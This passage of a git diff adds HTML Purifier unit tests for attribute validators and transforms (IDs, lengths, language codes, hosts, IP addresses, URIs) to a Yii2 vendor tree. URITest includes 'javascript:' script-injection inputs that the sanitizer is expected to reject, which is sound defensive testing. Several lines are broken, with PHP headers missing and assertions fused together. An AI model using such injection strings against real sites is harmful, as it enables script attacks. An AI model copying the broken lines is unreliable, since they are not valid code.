HTMLPurifier_AttrDef_HTML_FrameTarget(); + } + + public function testNoneAllowed() + { + $this->assertDef('', false); + $this->assertDef('foo', false); + $this->assertDef('_blank', false); + $this->assertDef('baz', false); + } + + public function test() + { + $this->config->set('Attr.AllowedFrameTargets', 'foo,_blank'); + $this->assertDef('', false); + $this->assertDef('foo'); + $this->assertDef('_blank'); + $this->assertDef('baz', false); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php new file mode 100644 index 00000000..31870d22 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php @@ -0,0 +1,110 @@ +context->register('IDAccumulator', $id_accumulator); + $this->config->set('Attr.EnableID', true); + $this->def = new HTMLPurifier_AttrDef_HTML_ID(); + + } + + public function test() + { + // valid ID names + $this->assertDef('alpha'); + $this->assertDef('al_ha'); + $this->assertDef('a0-:.'); + $this->assertDef('a'); + + // invalid ID names + $this->assertDef('assertDef('0123', false); + $this->assertDef('.asa', false); + + // test duplicate detection + $this->assertDef('once'); + $this->assertDef('once', false); + + // valid once whitespace stripped, but needs to be amended + $this->assertDef(' whee ', 'whee'); + + } + + public function testPrefix() + { + $this->config->set('Attr.IDPrefix', 'user_'); + + $this->assertDef('alpha', 'user_alpha'); + $this->assertDef('assertDef('once', 'user_once'); + $this->assertDef('once', false); + + // if already prefixed, leave alone + $this->assertDef('user_alas'); + $this->assertDef('user_user_alas'); // how to bypass + + } + + public function testTwoPrefixes() + { + $this->config->set('Attr.IDPrefix', 'user_'); + $this->config->set('Attr.IDPrefixLocal', 'story95_'); + + $this->assertDef('alpha', 'user_story95_alpha'); + $this->assertDef('assertDef('once', 'user_story95_once'); + $this->assertDef('once', false); + + $this->assertDef('user_story95_alas'); + $this->assertDef('user_alas', 'user_story95_user_alas'); // ! + } + + public function testLocalPrefixWithoutMainPrefix() + { + // no effect when IDPrefix isn't set + $this->config->set('Attr.IDPrefix', ''); + $this->config->set('Attr.IDPrefixLocal', 'story95_'); + $this->expectError('%Attr.IDPrefixLocal cannot be used unless '. + '%Attr.IDPrefix is set'); + $this->assertDef('amherst'); + + } + + // reference functionality is disabled for now + public function disabled_testIDReference() + { + $this->def = new HTMLPurifier_AttrDef_HTML_ID(true); + + $this->assertDef('good_id'); + $this->assertDef('good_id'); // duplicates okay + $this->assertDef('', false); + + $this->def = new HTMLPurifier_AttrDef_HTML_ID(); + + $this->assertDef('good_id'); + $this->assertDef('good_id', false); // duplicate now not okay + + $this->def = new HTMLPurifier_AttrDef_HTML_ID(true); + + $this->assertDef('good_id'); // reference still okay + + } + + public function testRegexp() + { + $this->config->set('Attr.IDBlacklistRegexp', '/^g_/'); + + $this->assertDef('good_id'); + $this->assertDef('g_bad_id', false); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php new file mode 100644 index 00000000..91f3de7e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php @@ -0,0 +1,33 @@ +def = new HTMLPurifier_AttrDef_HTML_Length(); + } + + public function test() + { + // pixel check + parent::test(); + + // percent check + $this->assertDef('25%'); + + // Firefox maintains percent, so will we + $this->assertDef('0%'); + + // 0% <= percent <= 100% + $this->assertDef('-15%', '0%'); + $this->assertDef('120%', '100%'); + + // fractional percents, apparently, aren't allowed + $this->assertDef('56.5%', '56%'); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php new file mode 100644 index 00000000..ad30aa78 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php @@ -0,0 +1,21 @@ +def = new HTMLPurifier_AttrDef_HTML_LinkTypes('rel'); + $this->config->set('Attr.AllowedRel', array('nofollow', 'foo')); + + $this->assertDef('', false); + $this->assertDef('nofollow', true); + $this->assertDef('nofollow foo', true); + $this->assertDef('nofollow bar', 'nofollow'); + $this->assertDef('bar', false); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php new file mode 100644 index 00000000..d1b3f13f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php @@ -0,0 +1,29 @@ +def = new HTMLPurifier_AttrDef_HTML_MultiLength(); + } + + public function test() + { + // length check + parent::test(); + + $this->assertDef('*'); + $this->assertDef('1*', '*'); + $this->assertDef('56*'); + + $this->assertDef('**', false); // plain old bad + + $this->assertDef('5.4*', '5*'); // no decimals + $this->assertDef('-3*', false); // no negatives + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php new file mode 100644 index 00000000..d466146e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php @@ -0,0 +1,36 @@ +def = new HTMLPurifier_AttrDef_HTML_Nmtokens(); + } + + public function testDefault() + { + $this->assertDef('valid'); + $this->assertDef('a0-_'); + $this->assertDef('-valid'); + $this->assertDef('_valid'); + $this->assertDef('double valid'); + + $this->assertDef('0invalid', false); + $this->assertDef('-0', false); + + // test conditional replacement + $this->assertDef('validassoc 0invalid', 'validassoc'); + + // test whitespace leniency + $this->assertDef(" double\nvalid\r", 'double valid'); + + // test case sensitivity + $this->assertDef('VALID'); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php new file mode 100644 index 00000000..c7f36772 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php @@ -0,0 +1,47 @@ +def = new HTMLPurifier_AttrDef_HTML_Pixels(); + } + + public function test() + { + $this->assertDef('1'); + $this->assertDef('0'); + + $this->assertDef('2px', '2'); // rm px suffix + + $this->assertDef('dfs', false); // totally invalid value + + // conceivably we could repair this value, but we won't for now + $this->assertDef('9in', false); + + // test trim + $this->assertDef(' 45 ', '45'); + + // no negatives + $this->assertDef('-2', '0'); + + // remove empty + $this->assertDef('', false); + + // round down + $this->assertDef('4.9', '4'); + + } + + public function test_make() + { + $factory = new HTMLPurifier_AttrDef_HTML_Pixels(); + $this->def = $factory->make('30'); + $this->assertDef('25'); + $this->assertDef('35', '30'); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php new file mode 100644 index 00000000..2061a366 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php @@ -0,0 +1,62 @@ +def = new HTMLPurifier_AttrDef_Integer(); + + $this->assertDef('0'); + $this->assertDef('1'); + $this->assertDef('-1'); + $this->assertDef('-10'); + $this->assertDef('14'); + $this->assertDef('+24', '24'); + $this->assertDef(' 14 ', '14'); + $this->assertDef('-0', '0'); + + $this->assertDef('-1.4', false); + $this->assertDef('3.4', false); + $this->assertDef('asdf', false); // must not return zero + $this->assertDef('2in', false); // must not return zero + + } + + public function assertRange($negative, $zero, $positive) + { + $this->assertDef('-100', $negative); + $this->assertDef('-1', $negative); + $this->assertDef('0', $zero); + $this->assertDef('1', $positive); + $this->assertDef('42', $positive); + } + + public function testRange() + { + $this->def = new HTMLPurifier_AttrDef_Integer(false); + $this->assertRange(false, true, true); // non-negative + + $this->def = new HTMLPurifier_AttrDef_Integer(false, false); + $this->assertRange(false, false, true); // positive + + + // fringe cases + + $this->def = new HTMLPurifier_AttrDef_Integer(false, false, false); + $this->assertRange(false, false, false); // allow none + + $this->def = new HTMLPurifier_AttrDef_Integer(true, false, false); + $this->assertRange(true, false, false); // negative + + $this->def = new HTMLPurifier_AttrDef_Integer(false, true, false); + $this->assertRange(false, true, false); // zero + + $this->def = new HTMLPurifier_AttrDef_Integer(true, true, false); + $this->assertRange(true, true, false); // non-positive + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php new file mode 100644 index 00000000..06b9e6b8 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php @@ -0,0 +1,85 @@ +def = new HTMLPurifier_AttrDef_Lang(); + + // basic good uses + $this->assertDef('en'); + $this->assertDef('en-us'); + + $this->assertDef(' en ', 'en'); // trim + $this->assertDef('EN', 'en'); // case insensitivity + + // (thanks Eugen Pankratz for noticing the typos!) + $this->assertDef('En-Us-Edison', 'en-us-edison'); // complex ci + + $this->assertDef('fr en', false); // multiple languages + $this->assertDef('%', false); // bad character + + // test overlong language according to syntax + $this->assertDef('thisistoolongsoitgetscut', false); + + // primary subtag rules + // I'm somewhat hesitant to allow x and i as primary language codes, + // because they usually are never used in real life. However, + // theoretically speaking, having them alone is permissable, so + // I'll be lenient. No XML parser is going to complain anyway. + $this->assertDef('x'); + $this->assertDef('i'); + // real world use-cases + $this->assertDef('x-klingon'); + $this->assertDef('i-mingo'); + // because the RFC only defines two and three letter primary codes, + // anything with a length of four or greater is invalid, despite + // the syntax stipulation of 1 to 8 characters. Because the RFC + // specifically states that this reservation is in order to allow + // for future versions to expand, the adoption of a new RFC will + // require these test cases to be rewritten, even if backwards- + // compatibility is largely retained (i.e. this is not forwards + // compatible) + $this->assertDef('four', false); + // for similar reasons, disallow any other one character language + $this->assertDef('f', false); + + // second subtag rules + // one letter subtags prohibited until revision. This is, however, + // less volatile than the restrictions on the primary subtags. + // Also note that this test-case tests fix-behavior: chop + // off subtags until you get a valid language code. + $this->assertDef('en-a', 'en'); + // however, x is a reserved single-letter subtag that is allowed + $this->assertDef('en-x', 'en-x'); + // 2-8 chars are permitted, but have special meaning that cannot + // be checked without maintaining country code lookup tables (for + // two characters) or special registration tables (for all above). + $this->assertDef('en-uk', true); + + // further subtag rules: only syntactic constraints + $this->assertDef('en-us-edison'); + $this->assertDef('en-us-toolonghaha', 'en-us'); + $this->assertDef('en-us-a-silly-long-one'); + + // rfc 3066 stipulates that if a three letter and a two letter code + // are available, the two letter one MUST be used. Without a language + // code lookup table, we cannot implement this functionality. + + // although the HTML protocol, technically speaking, allows you to + // omit language tags, this implicitly means that the parent element's + // language is the one applicable, which, in some cases, is incorrect. + // Thus, we allow und, only slightly defying the RFC's SHOULD NOT + // designation. + $this->assertDef('und'); + + // because attributes only allow one language, mul is allowed, complying + // with the RFC's SHOULD NOT designation. + $this->assertDef('mul'); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php new file mode 100644 index 00000000..4faed99c --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php @@ -0,0 +1,37 @@ +with = new HTMLPurifier_AttrDefMock(); + $this->without = new HTMLPurifier_AttrDefMock(); + $this->def = new HTMLPurifier_AttrDef_Switch('tag', $this->with, $this->without); + } + + public function testWith() + { + $token = new HTMLPurifier_Token_Start('tag'); + $this->context->register('CurrentToken', $token); + $this->with->expectOnce('validate'); + $this->with->setReturnValue('validate', 'foo'); + $this->assertDef('bar', 'foo'); + } + + public function testWithout() + { + $token = new HTMLPurifier_Token_Start('other-tag'); + $this->context->register('CurrentToken', $token); + $this->without->expectOnce('validate'); + $this->without->setReturnValue('validate', 'foo'); + $this->assertDef('bar', 'foo'); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php new file mode 100644 index 00000000..de1ae554 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php @@ -0,0 +1,17 @@ +def = new HTMLPurifier_AttrDef_Text(); + + $this->assertDef('This is spiffy text!'); + $this->assertDef(" Casual\tCDATA parse\ncheck. ", 'Casual CDATA parse check.'); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php new file mode 100644 index 00000000..919b7691 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php @@ -0,0 +1,14 @@ +def = new HTMLPurifier_AttrDef_URI_Email_SimpleCheck(); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php new file mode 100644 index 00000000..35c3f207 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php @@ -0,0 +1,32 @@ +assertDef('bob@example.com'); + $this->assertDef(' bob@example.com ', 'bob@example.com'); + $this->assertDef('bob.thebuilder@example.net'); + $this->assertDef('Bob_the_Builder-the-2nd@example.org'); + $this->assertDef('Bob%20the%20Builder@white-space.test'); + + // extended format, with real name + //$this->assertDef('Bob%20Builder%20%3Cbobby.bob.bob@it.is.example.com%3E'); + //$this->assertDef('Bob Builder '); + + // time to fail + $this->assertDef('bob', false); + $this->assertDef('bob@home@work', false); + $this->assertDef('@example.com', false); + $this->assertDef('bob@', false); + $this->assertDef('', false); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php new file mode 100644 index 00000000..00e56ed4 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php @@ -0,0 +1,61 @@ +def = new HTMLPurifier_AttrDef_URI_Host(); + + $this->assertDef('[2001:DB8:0:0:8:800:200C:417A]'); // IPv6 + $this->assertDef('124.15.6.89'); // IPv4 + $this->assertDef('www.google.com'); // reg-name + + // more domain name tests + $this->assertDef('test.'); + $this->assertDef('sub.test.'); + $this->assertDef('.test', false); + $this->assertDef('ff'); + $this->assertDef('1f', false); + $this->assertDef('-f', false); + $this->assertDef('f1'); + $this->assertDef('f-', false); + $this->assertDef('sub.ff'); + $this->assertDef('sub.1f', false); + $this->assertDef('sub.-f', false); + $this->assertDef('sub.f1'); + $this->assertDef('sub.f-', false); + $this->assertDef('ff.top'); + $this->assertDef('1f.top'); + $this->assertDef('-f.top', false); + $this->assertDef('ff.top'); + $this->assertDef('f1.top'); + $this->assertDef('f1_f2.ex.top', false); + $this->assertDef('f-.top', false); + + $this->assertDef("\xE4\xB8\xAD\xE6\x96\x87.com.cn", false); + + } + + public function testIDNA() + { + if (!$GLOBALS['HTMLPurifierTest']['Net_IDNA2']) { + return false; + } + $this->config->set('Core.EnableIDNA', true); + $this->assertDef("\xE4\xB8\xAD\xE6\x96\x87.com.cn", "xn--fiq228c.com.cn"); + $this->assertDef("\xe2\x80\x85.com", false); // rejected + } + + function testAllowUnderscore() { + $this->config->set('Core.AllowHostnameUnderscore', true); + $this->assertDef("foo_bar.example.com"); + $this->assertDef("foo_.example.com", false); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php new file mode 100644 index 00000000..4cb5128b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php @@ -0,0 +1,25 @@ +def = new HTMLPurifier_AttrDef_URI_IPv4(); + + $this->assertDef('127.0.0.1'); // standard IPv4, loopback, non-routable + $this->assertDef('0.0.0.0'); // standard IPv4, unspecified, non-routable + $this->assertDef('255.255.255.255'); // standard IPv4 + + $this->assertDef('300.0.0.0', false); // standard IPv4, out of range + $this->assertDef('124.15.6.89/60', false); // standard IPv4, prefix not allowed + + $this->assertDef('', false); // nothing + + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php new file mode 100644 index 00000000..f46785c1 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php @@ -0,0 +1,43 @@ +def = new HTMLPurifier_AttrDef_URI_IPv6(); + + $this->assertDef('2001:DB8:0:0:8:800:200C:417A'); // unicast, full + $this->assertDef('FF01:0:0:0:0:0:0:101'); // multicast, full + $this->assertDef('0:0:0:0:0:0:0:1'); // loopback, full + $this->assertDef('0:0:0:0:0:0:0:0'); // unspecified, full + $this->assertDef('2001:DB8::8:800:200C:417A'); // unicast, compressed + $this->assertDef('FF01::101'); // multicast, compressed + + $this->assertDef('::1'); // loopback, compressed, non-routable + $this->assertDef('::'); // unspecified, compressed, non-routable + $this->assertDef('0:0:0:0:0:0:13.1.68.3'); // IPv4-compatible IPv6 address, full, deprecated + $this->assertDef('0:0:0:0:0:FFFF:129.144.52.38'); // IPv4-mapped IPv6 address, full + $this->assertDef('::13.1.68.3'); // IPv4-compatible IPv6 address, compressed, deprecated + $this->assertDef('::FFFF:129.144.52.38'); // IPv4-mapped IPv6 address, compressed + $this->assertDef('2001:0DB8:0000:CD30:0000:0000:0000:0000/60'); // full, with prefix + $this->assertDef('2001:0DB8::CD30:0:0:0:0/60'); // compressed, with prefix + $this->assertDef('2001:0DB8:0:CD30::/60'); // compressed, with prefix #2 + $this->assertDef('::/128'); // compressed, unspecified address type, non-routable + $this->assertDef('::1/128'); // compressed, loopback address type, non-routable + $this->assertDef('FF00::/8'); // compressed, multicast address type + $this->assertDef('FE80::/10'); // compressed, link-local unicast, non-routable + $this->assertDef('FEC0::/10'); // compressed, site-local unicast, deprecated + + $this->assertDef('2001:DB8:0:0:8:800:200C:417A:221', false); // unicast, full + $this->assertDef('FF01::101::2', false); //multicast, compressed + $this->assertDef('', false); // nothing + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php new file mode 100644 index 00000000..a5ae9c56 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php @@ -0,0 +1,161 @@ +def = new HTMLPurifier_AttrDef_URI(); + parent::setUp(); + } + + public function testIntegration() + { + $this->assertDef('http://www.google.com/'); + $this->assertDef('http:', ''); + $this->assertDef('http:/foo', '/foo'); + $this->assertDef('javascript:bad_stuff();', false); + $this->assertDef('ftp://www.example.com/'); + $this->assertDef('news:rec.alt'); + $this->assertDef('nntp://news.example.com/324234'); + $this->assertDef('mailto:bob@example.com'); + } + + public function testIntegrationWithPercentEncoder() + { + $this->assertDef( + 'http://www.example.com/%56%fc%GJ%5%FC', + 'http://www.example.com/V%FC%25GJ%255%FC' + ); + } + + public function testPercentEncoding() + { + $this->assertDef( + 'http:colon:mercenary', + 'colon%3Amercenary' + ); + } + + public function testPercentEncodingPreserve() + { + $this->assertDef( + 'http://www.example.com/abcABC123-_.!~*()\'' + ); + } + + public function testEmbeds() + { + $this->def = new HTMLPurifier_AttrDef_URI(true); + $this->assertDef('http://sub.example.com/alas?foo=asd'); + $this->assertDef('mailto:foo@example.com', false); + } + + public function testConfigMunge() + { + $this->config->set('URI.Munge', 'http://www.google.com/url?q=%s'); + $this->assertDef( + 'http://www.example.com/', + 'http://www.google.com/url?q=http%3A%2F%2Fwww.example.com%2F' + ); + $this->assertDef('index.html'); + $this->assertDef('javascript:foobar();', false); + } + + public function testDefaultSchemeRemovedInBlank() + { + $this->assertDef('http:', ''); + } + + public function testDefaultSchemeRemovedInRelativeURI() + { + $this->assertDef('http:/foo/bar', '/foo/bar'); + } + + public function testDefaultSchemeNotRemovedInAbsoluteURI() + { + $this->assertDef('http://example.com/foo/bar'); + } + + public function testAltSchemeNotRemoved() + { + $this->assertDef('mailto:this-looks-like-a-path@example.com'); + } + + public function testResolveNullSchemeAmbiguity() + { + $this->assertDef('///foo', '/foo'); + } + + public function testResolveNullSchemeDoubleAmbiguity() + { + $this->config->set('URI.Host', 'example.com'); + $this->assertDef('////foo', '//example.com//foo'); + } + + public function testURIDefinitionValidation() + { + $parser = new HTMLPurifier_URIParser(); + $uri = $parser->parse('http://example.com'); + $this->config->set('URI.DefinitionID', 'HTMLPurifier_AttrDef_URITest->testURIDefinitionValidation'); + + generate_mock_once('HTMLPurifier_URIDefinition'); + $uri_def = new HTMLPurifier_URIDefinitionMock(); + $uri_def->expectOnce('filter', array($uri, '*', '*')); + $uri_def->setReturnValue('filter', true, array($uri, '*', '*')); + $uri_def->expectOnce('postFilter', array($uri, '*', '*')); + $uri_def->setReturnValue('postFilter', true, array($uri, '*', '*')); + $uri_def->setup = true; + + // Since definitions are no longer passed by reference, we need + // to muck around with the cache to insert our mock. This is + // technically a little bad, since the cache shouldn't change + // behavior, but I don't feel too good about letting users + // overload entire definitions. + generate_mock_once('HTMLPurifier_DefinitionCache'); + $cache_mock = new HTMLPurifier_DefinitionCacheMock(); + $cache_mock->setReturnValue('get', $uri_def); + + generate_mock_once('HTMLPurifier_DefinitionCacheFactory'); + $factory_mock = new HTMLPurifier_DefinitionCacheFactoryMock(); + $old = HTMLPurifier_DefinitionCacheFactory::instance(); + HTMLPurifier_DefinitionCacheFactory::instance($factory_mock); + $factory_mock->setReturnValue('create', $cache_mock); + + $this->assertDef('http://example.com'); + + HTMLPurifier_DefinitionCacheFactory::instance($old); + } + + public function test_make() + { + $factory = new HTMLPurifier_AttrDef_URI(); + $def = $factory->make(''); + $def2 = new HTMLPurifier_AttrDef_URI(); + $this->assertIdentical($def, $def2); + + $def = $factory->make('embedded'); + $def2 = new HTMLPurifier_AttrDef_URI(true); + $this->assertIdentical($def, $def2); + } + + /* + public function test_validate_configWhitelist() + { + $this->config->set('URI.HostPolicy', 'DenyAll'); + $this->config->set('URI.HostWhitelist', array(null, 'google.com')); + + $this->assertDef('http://example.com/fo/google.com', false); + $this->assertDef('server.txt'); + $this->assertDef('ftp://www.google.com/?t=a'); + $this->assertDef('http://google.com.tricky.spamsite.net', false); + + } + */ + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php new file mode 100644 index 00000000..e2029c04 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php @@ -0,0 +1,29 @@ +config = HTMLPurifier_Config::createDefault(); + $this->context = new HTMLPurifier_Context(); + } + + // cannot be used for accumulator + public function assertDef($string, $expect = true) + { + // $expect can be a string or bool + $result = $this->def->validate($string, $this->config, $this->context); + if ($expect === true) { + $this->assertIdentical($string, $result); + } else { + $this->assertIdentical($expect, $result); + } + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php new file mode 100644 index 00000000..ed4f2492 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php @@ -0,0 +1,32 @@ +assertIdentical('', $def->parseCDATA('')); + $this->assertIdentical('', $def->parseCDATA("\t\n\r \t\t")); + $this->assertIdentical('foo', $def->parseCDATA("\t\n\r foo\t\t")); + $this->assertIdentical('translate to space', $def->parseCDATA("translate\nto\tspace")); + + } + + public function test_make() + { + $def = new HTMLPurifier_AttrDefTestable(); + $def2 = $def->make(''); + $this->assertIdentical($def, $def2); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php new file mode 100644 index 00000000..bc397fcd --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php @@ -0,0 +1,45 @@ +obj = new HTMLPurifier_AttrTransform_Background(); + } + + public function testEmptyInput() + { + $this->assertResult( array() ); + } + + public function testBasicTransform() + { + $this->assertResult( + array('background' => 'logo.png'), + array('style' => 'background-image:url(logo.png);') + ); + } + + public function testPrependNewCSS() + { + $this->assertResult( + array('background' => 'logo.png', 'style' => 'font-weight:bold'), + array('style' => 'background-image:url(logo.png);font-weight:bold') + ); + } + + public function testLenientTreatmentOfInvalidInput() + { + // notice that we rely on the CSS validator later to fix this invalid + // stuff + $this->assertResult( + array('background' => 'logo.png);foo:('), + array('style' => 'background-image:url(logo.png);foo:();') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php new file mode 100644 index 00000000..f3fdd2f1 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php @@ -0,0 +1,34 @@ +obj = new HTMLPurifier_AttrTransform_BdoDir(); + } + + public function testAddDefaultDir() + { + $this->assertResult( array(), array('dir' => 'ltr') ); + } + + public function testPreserveExistingDir() + { + $this->assertResult( array('dir' => 'rtl') ); + } + + public function testAlternateDefault() + { + $this->config->set('Attr.DefaultTextDir', 'rtl'); + $this->assertResult( + array(), + array('dir' => 'rtl') + ); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php new file mode 100644 index 00000000..6c2b358a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php @@ -0,0 +1,49 @@ +obj = new HTMLPurifier_AttrTransform_BgColor(); + } + + public function testEmptyInput() + { + $this->assertResult( array() ); + } + + public function testBasicTransform() + { + $this->assertResult( + array('bgcolor' => '#000000'), + array('style' => 'background-color:#000000;') + ); + } + + public function testPrependNewCSS() + { + $this->assertResult( + array('bgcolor' => '#000000', 'style' => 'font-weight:bold'), + array('style' => 'background-color:#000000;font-weight:bold') + ); + } + + public function testLenientTreatmentOfInvalidInput() + { + // this may change when we natively support the datatype and + // validate its contents before forwarding it on + $this->assertResult( + array('bgcolor' => '#F00'), + array('style' => 'background-color:#F00;') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php new file mode 100644 index 00000000..a9830bbe --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php @@ -0,0 +1,43 @@ +obj = new HTMLPurifier_AttrTransform_BoolToCSS('foo', 'bar:3in;'); + } + + public function testEmptyInput() + { + 